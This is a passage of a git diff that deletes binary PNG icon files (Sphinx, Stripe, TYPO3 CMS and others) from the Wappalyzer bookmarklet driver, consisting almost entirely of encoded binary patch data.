zq0R)UdF28?Qf~TVC+qNLfjQilKPZTb?jZjYGWeP>e+Ckp(#-yaij*rGlIInFVw+7z&FI zOExsH@ctCEF!9ky44=TVQtgoE^NL1}6^-qa6Q76p0d+o6l?-NzP|TUp*1gH$%jce+ z<)-WtS_%|j{75ofP_4I4ti2#nYTZo6i!-m@IzBzy@kYUwS^CT_1$tgK0?j}_ga~#n dkn(V1xG{Cr!o5-N{sFzq;OXk;vd$@?2>`G3XZ`>H diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Snap.svg.png b/Wappalyzer/drivers/bookmarklet/images/icons/Snap.svg.png deleted file mode 100644 index c443e15fbfbe8ffff0e6743cb8c02bdc6a745070..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 689 zcmV;i0#5yjP)JLb6|*eYCV5#_@1>crQCq*`{$55>cZSnS0tc?0WGjlbs$%6L!>w&L^9SO z*Ka#=nENqpfWw626FbZ{z$b?M;cJdSfQkVs|N4DQ8gS@}A%9>Y60nW|>kweV@rj|p z`99--f+t3HIWrCzN}=#=7v_fu1S~gA1OiMr^N#qdOF{w5O^S@XzN1J*s3ShZ`NHWX z7GR@ei0+1<-Ov9W(p00~RM9 zb_l}=?>AN&8p0yP4)M=|%&(4#fD49XK5p@d(SNRL-5}LRe(@9mzjsUoB+jQzNI$p> z$8c?3_%8%GBYxQU|#A>!7}hpPZE)pCW5ltcIpR+L>BFq z_)ESWvum}8qz8v5o6LOQGjG0`1%NO|;$Laz5Z!VKbNeRt6bl)(jErJpTfV@ws15l& zAAB|^uCSytG}ARa6OU;osBs#}D(*Imm~v~s3IHTZSfCFfbBGg7D}( zy7VgQej$S`zHX9w%bKlPFbMzfP~5;UnH&Bo6kD@Uh@E0AW?(W|K_wMPLWe!9_Ll^VKO%dzfPp|WXXhNV{;T{!;83%(dx=Hy!Xhm| zF`-l4tL_T2=<@~ZCm2#q#Mh27DE_oa8xjYxGmL9xXv-P&xa;qyjui0se#|fc0000< KMNUMnLSTY&hq7Y; diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SobiPro.png b/Wappalyzer/drivers/bookmarklet/images/icons/SobiPro.png deleted file mode 100644 index b1463bb40c1dcf4cd7303150807d8f1ff11ea3ea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 190 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!61|;P_|4#%`t)4E9Ar_~XPG;n5P~c#w^w2N1 zYf}HB@b3ZppUD%iO=FpHtSo!m4o0B{sl?<7ifXa`Iq%yAm4am+8CX8Q^f55#^fn=r z6zi?Wm9z_3G+39^zVPtinsjZyasQT(gO7cl@uV~bGOpTgVAx#7ZS7#WaazU>_Pq&- o!uOj_);o&(9MO$l3^w)^1&PVosU-?Y zsp*+{wo31J?^jaDOtDo8H}y5}EpSfF$n>ZxN)4{^3rViZPPR-@vbR&PsjvbXkegbP zs8ErclUHn2VXFi-*9yo63F|81#=KlDb#X~hD#E>34K5C;EJ)Q4 zN-fSWElLJPT$(b-ssbzLqSVBa{GyQj{2W*)24v)y-fM)1rW~Nw~TAI7L8kt*~TN=3-8oHWT7`d5STDTY)8Wsq1x~&CK*#8Vq82HtVM4(417gAxE|3FH`l)%q^j-u^*fZ7G_c1Uqo%3{Y45_%a zW_oUhU!uhE^Tyn&XR{-Em#&=JYhd$K)pO#fY5X1hKQ>HR6n1OUB&DdXwt#&B+=i3R zurJ#%^{2wpix-@8#SYD=`LId$fAsZ}Phagjzw_K%%dge*E|8OO~wlu-&g}y%;EdQ_^ zwwd%k(QuV(q`3C$X@?{iwMpAfn(v*lcc#*DtGJ4}qBcG=E0}sk<@TI;c>6?6oXat# z3+K6}E%S&=m3(Px`0weV@>z!K1cUv4=WIUnRh=uA{quV51y85(yPPd%n6u@^b*(Ms zH-0~H`s0(*=I2@;&lu@_)9*t}AmcmZYat0D#wFUbY`xElU#Pd&HRC;X?RC<7*JVts zXACAN++*)+$~UR-_A#E6XZu!orvXp&|2HL)uj9UV@8vfV{c(clXyHx48!E4s9xy+U z(|ud;f|T&Gmc8|cq7{dEQa4tAzpsDmy+@q0D2LFpq%SoF_R=@DRIGk+*z5Ec>40+$ z4Sl&2*O^J(w7IdSg<*Z`fA5c>p1W19hq!5>RT7X_Jb2dy051$`BU-XV{5rY&$I$7UsUq&fvOo<>ZdHHk;my z^@+b=61t?hd|7CX@PrLkMMbRDOEavlRIluc?&wSYw`g4c!ti|8%ige01pPh9;vY)#> ta>=rWj|nW&E0$Tu1-jne%2>~Bz`$5xdb-lkBMMaBd%F6$taD0e0stxmaw7l$ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Solodev.png b/Wappalyzer/drivers/bookmarklet/images/icons/Solodev.png deleted file mode 100644 index a6a92cba256070744e01fd3e3a5e3979b6300b1f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 252 zcmeAS@N?(olHy`uVBq!ia0vp^3LwnL3?x0byx0z;*aCb)T!Hj|1_tT>y-Gk9V@Z%- zFoVOh8)+a;lDE4HLkFv@2av;A;1OBOz`!jG!i)^F=12eq*-JcqUD@xkiZke%S4N)j z1PbMQx;Tb#T#r4ok+<1_r}d$HV8A_&H3!(lqA$wIrkZhGzo@Xu$<5;BERp3B(i7FD z-CKU$=J0=CzpXuP!FCs3wO*Tj_-3zNuISC(XTnu1jdyXqxE!UR;`F)VviNU>qhc3l n$Gy;&_D<_E=HZ(tUsTLw=VZ0*!-djLpw$eXu6{1-oD!M2nLV^%T)L7Zrrt)6|BiL$Vm(tqG*jU))A6Qsf3O2SPtSg8J zZgwGothsx4@7K&d7He)?H>q-9nBkq5XPEbJ;EE+@ht(%9byNw8B`^k&{~RJ1fyz0` zG$lFMllpq?>Ar5?zsIe$WeyX^(KyFdiXZ@pK}QIF(cPXd70!`96e zo){m+=U-(xbTSOWl7gmGCBpJouG*mefLj{yh(6iYvGeE5~{>dT1Euq3ile?xV; zmYNZSijxq;0$>2F5st?N?|#H|h6UCdOy%kBtkd0D2k#JTxE2Uv3|_Sk(Etd7tCY+u zkrf(M$=BVD+Vt(wCf1iooh-8e03%=pa0T7n%{gP|;Rd*JP7mf3_1xb7h)IXw+*Gm_ zS-8Q<>hk3Pk!jk9MO$sU&$efbciwzPB>>z!Km-b}jLQnO4W#M0`}z|;pG@Il3)8+% z5QdOn0I%!tl1Y}Mc7il25-}*Y?lm6p zj=?D7Bu-FQfckSlnWpsm1I%KIlaT74KG)fv?XEzRAr$%SFfBfQp){K3uU=N_p~&lD bx^n#i{Y=tK8>WgG00000NkvXXu0mjfda(C^ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Sphinx.png b/Wappalyzer/drivers/bookmarklet/images/icons/Sphinx.png deleted file mode 100644 index e0edb8e17ddd8b7ca60a350b8dba78bc565bb242..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 590 zcmV-U0CKMkBsoF>avCd;rg${V3}J0%*8NoMa9&lm9&b14kr=f3)`<`Zo257dr4}(@5ECw56^i zXGf7!;f*;if~&()+N0Eh^Eq;HR@Rk2<@B|LP{KeN#4Q-dlwJlLj1-03j_; zsJKAS!Xx^YD@3YgqEA+cu6*Rw;&+16cYZy_xCeBC2}`JmXXrIXuNPoj!$_y*;_QZu zS{x)?dX8F{LAkt)IGhKdTCLM{3}BYVFb7w$$7-~MFC9FOQ^0{Zd<$uH^BZEcg)8z$@j1XDhU1w z1n(40atW(Ci*;ut08DLZnge%%y2IFLLXghU=tyC74`Eb%`=RO%pg}kZIR2oZt{aa2 c7yf&K->ute^zlhj^Z)<=07*qoM6N<$g7WDO;s5{u diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SpiderControl iniNet.png b/Wappalyzer/drivers/bookmarklet/images/icons/SpiderControl iniNet.png deleted file mode 100644 index 545cd103335c3c11b240cc83b99b4e075922173d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 652 zcmV;70(1R|P))L_t(|+I^GjcH%G$gm+?R9YWj?nq6AxC6^Wq1&rVS<*LYnKzrKx zfjOGbgCvgs3<^Jptnc>e^cA`CT$L$6WwjrPE1)t7M9S`^IQkni82ayIk}3jKdnV+3 zRDiDjHEw(G?tf0i;|42voqE=LCB=&&h+RCk6;rE+%8T=r?i8d|?>@3)As18Z5Iq3GfhsA_7#J zBC6o+BDo}_PX6$9UCpMN#|+h_hZ$5%kp5iCJ4#`i2rPg)T&o5a!^fSAzz)d$kohXW z8*uM6)Y{9cCp_m0i4YbjQzY{)2+&g+-vbkKuxt|;h!I$kkpP*s2CTC4BhUhB$IYFU z_HcJY6+m%4tMyn&&>i>Squvdo{k z(5k@Ivc%Z7&ECS^=+@%v-0AS;?egjJ_3-uh^7r`lwx!L=0001Rx90W3hVcc(i@AVE@Pp9Sw&^iNQDr=S3|Qt)6w0@~)W z3*oLr6HvQhIgaiC=mR9&y2Y@bW|Pv_6qV=Ga<#ersAaI3p-o%2dYy_QR2}tW-_MsX zl}rydVcz-q(87sikb-}YbGRBHMyA1z<|6Kt?iCWCrxK*$MT{PQ^uMU8akfFX%U=Kh N002ovPDHLkV1mrq%U=Kh diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Splunkd.png b/Wappalyzer/drivers/bookmarklet/images/icons/Splunkd.png deleted file mode 100755 index aec9976972c00a79a4d5c399c47db1319843a095..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 419 zcmV;U0bKrxP)cJY6+m%4tMyn&&>i>Squvdo{k z(5k@Ivc%Z7&ECS^=+@%v-0AS;?egjJ_3-uh^7r`lwx!L=0001Rx90W3hVcc(i@AVE@Pp9Sw&^iNQDr=S3|Qt)6w0@~)W z3*oLr6HvQhIgaiC=mR9&y2Y@bW|Pv_6qV=Ga<#ersAaI3p-o%2dYy_QR2}tW-_MsX zl}rydVcz-q(87sikb-}YbGRBHMyA1z<|6Kt?iCWCrxK*$MT{PQ^uMU8akfFX%U=Kh N002ovPDHLkV1mrq%U=Kh diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Spree.png b/Wappalyzer/drivers/bookmarklet/images/icons/Spree.png deleted file mode 100644 index 25cf4541ce1629aa8f53ebab97298a09d7f41465..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 431 zcmV;g0Z{&lP)Og`{XAa3#H{mIL&zTbH1RZ7ybtLM{JTzj9p=EnM|haLq)ExLTZWyihyHCyj= z0L6Z!ue`Q@`I+bPu|Pc;tFHZE=-7QfCwB3b`zy{qH`sCYjX~J_OYg5g|Dq7J@bdq% zjkgMtmtWn#?96impoaImuD?kD8u%lA$(02Y4?J8Cv~&T(<9FW$GFM)kAGhT4ql!(p zQ!-aw-#7c%6Nm5xm(C|Fy|SQk^X>X_ph14K&))~S?m*Lyy8+RQE`!+TGFDz&z)-T` z=8<@y!ia^J&S$K=zQAYJ`SX!LcJq#V6)}r1-+L_rx}Tkl?U(6Gmfx? Z2mm86*@~+|!dw6V002ovPDHLkV1n8 zQrixSTDwcv8L7KEVq0glv+fV=w$|NlZGnzjYiS(?xy?Q=Q9JLqm~)b#D$yXL~^yDL16jnCHA)Ku!V zIoIL@f_Xtq?7TKJ>qdpW%;|D8tUuV_zv@SUA31#Zmn9~%M-a>Xnid=~9}yZhr%0Aw z?&<9MU9-mk>T`*xw53>t5n9E$f!F?x#AU2 zU#Ln=(<)_(ZZVJlASQ}6l_rxPJbL8l)5`+47>#Sy8JYfAHv1a_&Ik(!xbRY0iB0Bp zd-6f;6=XiU2+oZ9I$x*rJL~H?1$upDaehJFj^6DXEe4~yC@~(px(nQGzBp~uEk{&TrYO%C;__l>*r7QPEGb1NK z`@Pz#YVXC17grr08hT=CYURh$LFaXf_DC9i zrlzv0v&-MPUa!g7!-`E!J&s4iB%Wt*rW4ZFO}L9I>auZa-x;nYX(eoDz4H zbM2vlf$s-apwIgSz-yuC#mq^TsN>bv=4Oto!KpxPuTkL0^lquy(gr6y2m9^CnYqB3 z2RL)WYB2w%vb-WWHAVIg#5otfDR`c^1m6qn2<8Ix@}9lKmUv`v@X1B+28Ux!mQq!V z7vBk}cLvIT8_{#OZfVX?DN;Y87=bQ6&&$y@b@vnqgK~%Yx4<} ziqzu(pCJf(aCsPb@nk9gGmYQ0R(q)&#v7x zfEb0bygPw8F`p=o`=rU`F0omyEC}ut1x~D;E|+)P%;u1sY>fvAe5)&CL1A&wR$alcM zkS9z1Xw3}F5(nP3$QCnxq_i~S*`dJ+ivP-B*WXQZVM zHMu=Jokr{7Msscva6&s8*vEA>wPut{2LGSNy~Sx51s$bIQ`(J1#q>CVurZ3xm>|L> z&%oAYxJ@)RHn!9eiwg^%G#L!(Xh?5El+(0LAq!y}H!Ywo13>&4)au3{3dMI5sJlsC zL;{4DC(xz~F{mV%8D{`KO^sp%+-58+dJ$la&;ZVa&5`B=cCVWaM)uI);P;o6&JO=d ze|!5=@N8te&sW#p=JTQ7C%=B|*aiTs_PE?UWcVJ%63TY}<%0v+7Nd!U&NfQf7T^o8 zU<;Ui8Wyhs_`RhLxCGwhay`F)|NciGQagKhJkizR|7lNGcQ9;q0svoOJb(V$p;xjn zLn83fv(#b&f!)KR(p+YlVT#|=fuos!C!2;J} zGUe~@>l5bbayd!y@#iUU2<#?=+hjJFHYgQ}ItrYW1?~NuHcQRv_WPH&p6%<~w+TJr zOQLGH;|2hB!N(PHNwPbRFZ}y|!5QQDoeQ-MktIpD5|0PKr*Q5x^uTXxYg_(;dZ54m z_ZX|=-`N9ZA;Kw$bB4Ny%qO7o2CKwqvZ-tI>*8 zGD*@U(hn$Gl5g@s+a1qTDl71L28uVJH;fZj7-2NB6`xn8rZF83$B$dhTef&tVJ~&oqRDfWU=M@_A%t)*qXqq=&<yGXMYp diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Squiz Matrix.png b/Wappalyzer/drivers/bookmarklet/images/icons/Squiz Matrix.png deleted file mode 100644 index 54be34658f3acabadd4149a3afcfe9b97213d503..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 699 zcmV;s0!00ZP)1rhZ(i7J4Ag2Eyyiz0sq)=vS%h?Z(n>e-D=Rg% z(ruB7QX=NAySsOJ_u-~yJVFzL{mOqXY?7XP>fw@{t)_>-Qj|-iBeB9x_-ek7Oz!5=}XIjP`0&9<{y zLeU!qQiz|d~`j1qO z!!{Q|<>+i`8Uil%y9@awGPJfCb&Pyzsst3a$hc+lpp88H9?mS<)3}&OO~m`>^->li7mt%nwm-`9V44S zQdP3dO$}n;s>zx8*ZTlq)uET)YBRKAa7Aiu8E7S48Vd9kwmHiF`BvT^_2-=Ea_&F< h*0t}2G@rHHxu2BDD%ddYJVyWk002ovPDHLkV1jL5N$LOq diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Starlet.png b/Wappalyzer/drivers/bookmarklet/images/icons/Starlet.png deleted file mode 100644 index f903e4b5877873459c0974ae8867829f69f1a734..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2241 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Stripe.png b/Wappalyzer/drivers/bookmarklet/images/icons/Stripe.png deleted file mode 100644 index 7c36c6d35b50bc05463c50d58290d2452a4c1ad3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 737 zcmV<70v`Q|P) zyose?+n_08skUxoOtRVCnGp!YNV_kkHAVNdFmK=Y_WSW>@bb%fXy;?GKzjkC{Q&Zx zQ`B|D zS@l9bF^~+KzDIAAw-|jGT@U)#V3yG#*(TJ*N^qze7p3uLT(7|vH&0$qlCvF%^4^f+n+i=-0e4M zpb@l!*K_5k)1|!Yw+sRveOQPT5I}P`;$hRTSQ<|4O5S}}bSzv? z4iJC@lu|z!?@g8-PZclby3Xc$8lw6DyECyGu~s@d2hkn~S%$a9DuFE5D9}iv-^_cX zL%&@^450uq7&ftp4MCG5{T-wGGG9uxP!2qjfwbe-Z`8U58uQ=1x}l?_HsydtypYR2 zByBaAi2;BBG*g;T@NA~26&iRp2Ms__Wc4Iz#23?Up+u-OneHNE4)boc=yh)Ev;&4l zx3M)WS806m+mo3RfktzZ_uR=F%0%SVYTXXxdJ=sp$FZ>F^Ymi%gB#dROl#e;S>fRA zSyLH607WDqA!Y$k2$oWoQiyA6wz%WgZ0kjkMMa1OQA&^~Q4m&81OZ_o zA_gUeeF7>}nDtjySy7@|>bmRh%+8zJJdp^j3kTrc-#Oe1?*em6wG?Y9$uB)F9I6IAl>3zg?zbR+*IUCd~urnF|dkXldI(vMSX zb`^CO>>>Z&a_X-+MV!q|E7{JyGJyGsO2PT$YzKxQVk30ri6hc86-*&bsOwfk|Ee2g#?5%5hJn!_ecPyccBD8 z;Q?Si!f+hmUm!ytiU9M@hbYg3ENfsv27#|)D3}DpxIzeyTI)>d0017K2h=Ytq-IFI z#dd^-;z8aCU^)Ps#$eh2$)_Nknb09ZlYsBPVi2?qG3W^K0G}Q;FsR@Am28wIKpPDQ z`I8{%1d~~#oAbb!1|z^A21O`#JDz@zg&y_#8%E%p2^dzNpNwnFy+ipCz=lW|EC!;e zLR74EY!iSw4OwGQ4H@GhJKB9dj6^-D;od(VDL>(GM*(_i^}Pvlb`zyH5@lAJs1xuP4Ua?oOW@PgcyDF?SrSIoI7-s22sEpgABixmEG g&MB4>|98&60TiWO^GqqYlK=n!07*qoM6N<$g3u{!+W-In diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Subrion.png b/Wappalyzer/drivers/bookmarklet/images/icons/Subrion.png deleted file mode 100755 index 7b6eef0ccdd1687d830c330a772122bc9a44f5cd..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 906 zcmV;519kj~P)WvgmS1C4Sc1eTLLw0XQX|R|j6k45D}pdFAV4xe zg#}iI0M=izC~cS#8l^V;)-aqp+`Mb|`{O<52>}2A0PrDLz>npppWbu!>cKme+C$FR z+M^x0(XIVGJApI3*|Y^bfB*mh_z*iF4%leJ@k{5g6)L^igbP7qY5Iy}oHpNE+P4)L z9=fm70$uC4En4M%sj%3WLc7%B8MA9;?YKXT749QXowO8_QI=Lf(0 zd&4O;Euqy$`e3@vE=sr49%X`~Y9L!6Gce*^$N1g+ugiWOA6s))cHRDX`Qu9*z`xT! zZ4?*Lm+lNJ(izv5h)|UfHzrNoy6Ss3XZy>cqE(8;OlM+sans6)M;aGKN3NEZKWPAB z{M^UVIaa4rlF}yidf7K?ca6CIQJVRe3i}VfHa^gkA0OzRxxIeqvj3}+Slhqxg%-+A z0E+jH?1-lJ?iQ1ag9axe5Z8znA6im6d}45N%f?~bk@X~;@wfA0a&5J)-~Si{#$0Gl zb@>}_Z1b_AreZ;YhN_X)z6*qT*UDe*I~pzQL{e$hT9xcO+Z)X*7h6h)_HPBYIY0Hy z+j05g0&%lEan&LwXtRLLbzTqonXEKsx?M*OjIrvF%qv^0nbSq_vz-qEIG-O`hX)N6 z0}5i$xK3ykQZ}1x*j%=*t{UMST6Yvbc^5l(J|^8(25?%R>>;j$cmV}5B5DcK=ax#3 zYbIAbHQM;?$F*iwdxMa+TFU$8DHud`Z z+w{)WRXRD*j!SrGB$MkmA4?9cI{+Zn(3=f|<5S1p)Z%ovS@6I~H@N0YphhARX-<5*Ili&yb6j@9b_^YHU9TPlZc4IC07Wr? g0tx^C7(fC2ADtkX7|NWCs{jB107*qoM6N<$g4iaiwg3PC diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/SunOS.png b/Wappalyzer/drivers/bookmarklet/images/icons/SunOS.png deleted file mode 100644 index 435d816e1cf48f4387315981421056650aa3a5bc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 873 zcmV-v1D5=WP)R4PQOeifr23PL16GD!#sib_@~su7h04alFWpr{C{ z0D-IomGZvMO%0sp+EoRe+uhsUeX)CYw=rd{xe)|;`NFt&&pDrSpYuH5a{*jm{8t6+ z0RC0LE)dCAVoD9Jg>X=xMuZl^)Zj#Z5w6tYkRbyA1fwdgv;Bf^bevuHuz?^SN+&iL zWNA8JpIqqeAUl)rHO2IKV#8`)f(z*7&cwu&lT2d4lK#by2}hZvL?unmlm z_~n9bimWhW@pQ!jrAB)EYx0o5qT4e%w)*~qC#}}rzFYr1;-8yK9?OQq_L}{2N+bYM zP()cDaj`W>ui)ldh^d*_sq7r3;@@{%dcK?@hrOU-j_-f&Z_Fw zprf%#h;NE-Y8uN^0Oa2Cz|@RH-4M74W2>ynrL9mM0{Dp61y~|{icu@rqSVWsjI7--H;1@gJr@F(Jf@FAVB?e(+N)628kjD z1?PXbZuXF-3RIy+3zX?a6dPyHchDrka%{pXmaJAR;YE_?=nU@Lci0HG#UI5`p5xL; zh{kMkIn6sn6AEakjQO z4jsW%S^|W(`BecIV@ZlR^Cn5r2U7BPFB{=T1fn3EXWsAH=r zMiJ`(gq3v{u>;yP_6Z8X;b-)KFW4tFHf^#s#z#rV2^}T}ve) qMx^A4R>7Gq3#huHC5(vxmi__hYe=7+lc2*R5UeUDxZ`+OGHO>1ludPJ24e>UcV*G-=ZG<@-6m-}ird zT2yq8Ugd3)6>B=A_pfdnIaAUsR+To3|6KOFxUAs8Pjty2-SEfQxrZ;xpt3`%EpH!z ztyd?Yv_%5To5foT7QC%{a@D3Q;}4ONJE5CLm(5(Npby{^)|)T;zUKn8*1rV-Wn9eWbE zjviivakT4qh}6NC`=a1P%uHShUEG7Wph zCVIp(h=6w(#OsKl!*?O%|DBlF%sKq9+_Lk4YzFp8%|IjSvk1r`>c!LW9)4!8gF&b{ zhaXkgo;o78!eP9^1EX2Q$1KF|zm2f>U*n>6FvW~<4*ynZFFQ7Ary3PD$RWOzEk+y~ zvjTe^f;)&^oWf72iRCAzoUtEN4nPFZh_6`)>;!zTbmTgbLF9^wN3@&s)i>#8FP+j5 zfC$J(96|&g{`tt_bs!>LH)Jq!4*$*Idf`|795iWXVJXBhrG3#lSj9}eJFKtd3}`jE z{pSrXSPJnSh98}{(}`R$8N~CP!!OTx>Moi+fC$J(9LKTKqt8uZ0g>&5fOGgYyRTem zncvrGnTLGD&uRjG!YSmhgF!TK4!=qGtNR?jFM4d=gIBFyU?Xw>Eap<3xWvnS{`PFZ zi-=$P9lmqDb|2&r7Z7n8S8$h3$ao1K^@IdsR}c^(8YKMkeup1ugb)!Y)lRreCp5hM zzAL_et-tabFXm|RVGL@y(vm6zZtU$j^sh&3p^kw!!Sg8-4! zpE+tboY_g_bz(PfS8fT%D-6NdN4h{vqw+<8Mhp^x%-v3c5PA~*PG1h;MMN#H&vo`l z;sI+oE-?jT1R~(}TrhK+Rr(_IB<8Ub7DOl!ahCU|S#O*w^~94^&Pbvc5f~WC+*%C? zVb(z+B7g{ThzL~h8XiriR)vyOlP{4x<&Kfx+#mvpM%+2B1hfcX*5Ss}aj+oI@&HgA zqf!lFlIlFJa;DDe=VC;Z3?jg23S|(Th&Y0XYN=Y8Jy{rhRHsw_RY|E2v9 z1RX5<2wn~D+|(okC?$fl=ltjYXrg=yW!n0dN>h4wJ=YvUn^ukIfllbNFn|IETyU@&sdiA%A>w zTrepBgj0fv2SVZW#H46)3Yd8y5{pC<(Tr?HEES7oVu?&5nUzT8QrVmgkSkQ~ zr%)*r^9rR}sZ^^}8r3|Yn^$Yp8l6_F*Xb5?dV^kXSTL9jhDD>%v}iJ$Ocs;bVm4dN z7OTZ-vs#yIHoM*Kv^xNo!|8H5T`srB?OyhH0Iz4+>-GA5KEKbu;`ayqD}g{@H4q2} zR)ecRFcb`iLZOGDhoH5!wQxB6C=!WAqwCS=Ms$6BBUNl82E=2rIA}A~*5+2KM5@Q2 zC!qg8+n{7JxwEsgySux$w>SMb4-1x>cC)(j0(5@G@(p++%HV|;KTtUqO7ru-f-<6s z+UI84guh>Yoy97I|8w*eECL>x`Y>|tNZxVh6K-!;g~>74^ye)!tmwDw?$}?@XPFgS zNi6aCJ$Lgy?{e{lj%3RfM?6dpH~mptrKu3zV0~Q|hc)J(ob5fQ8M}|TI>ot-R$_Y8 zFgvL^965a|$&kL`yWZdVy-hq~te?n!hc}Q#TWlp@>M?(#wC&_GueQJa@&WB-$6ML< z+>Dc-9Qp3BA>zNq=9UJ1=znxSip=M$p!tpW|NtrTGT2 zuk+tdAG^Bp%R^kL{HCX{;a*xpjght4A)U(?6t@?=TkgtDTeAK9BD||46DD4woH%Pd zz5Tw4_if@R^lTliplZFfrJ(Jwv$!vQ`w{01lJaTrPIw0myR;Latq7F zMZIx}EboXl7z9de#+U2b%-WTl1mu*7L5tYf7ktr>({k``=fSjL^#bPB;NcwZ&)_4p ztyB!0KA*?h diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/TYPO3 CMS.png deleted file mode 100644 index bdca086811dbde884e5d4f758f86d63dc74b85f4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 941 zcmV;e15*5nP) zPiP%g6vltn*jj_BQ33^oqHYusK|rKPBDfNvRM8f#qHek=bt9m=%-nPDyq7p*`kCY#k?iQki;Er-y{quW=h5dB{Y<9NeLI_IVabGi!{O6?0h$Qf+A_%Vt3G+?3H!%qhj})dctFopew! zbveG4XI_Du^34E}@vWxl&j2{ymFGrt^VMb==c-~3wodHXD#yoi{4UR;!V>w)g`O`p zNnZ}YZh5X30=ShO&paC8Ud8N@AOjG1QO4!M04cm?;I2YB#5Zp$xz)X?d5n{#zPr^Q8vqQV%01Jt|+hr z02$lm`MZ=1=_#(su{*bwJ9fxur+c(I}6|I9*8w5uR%@ 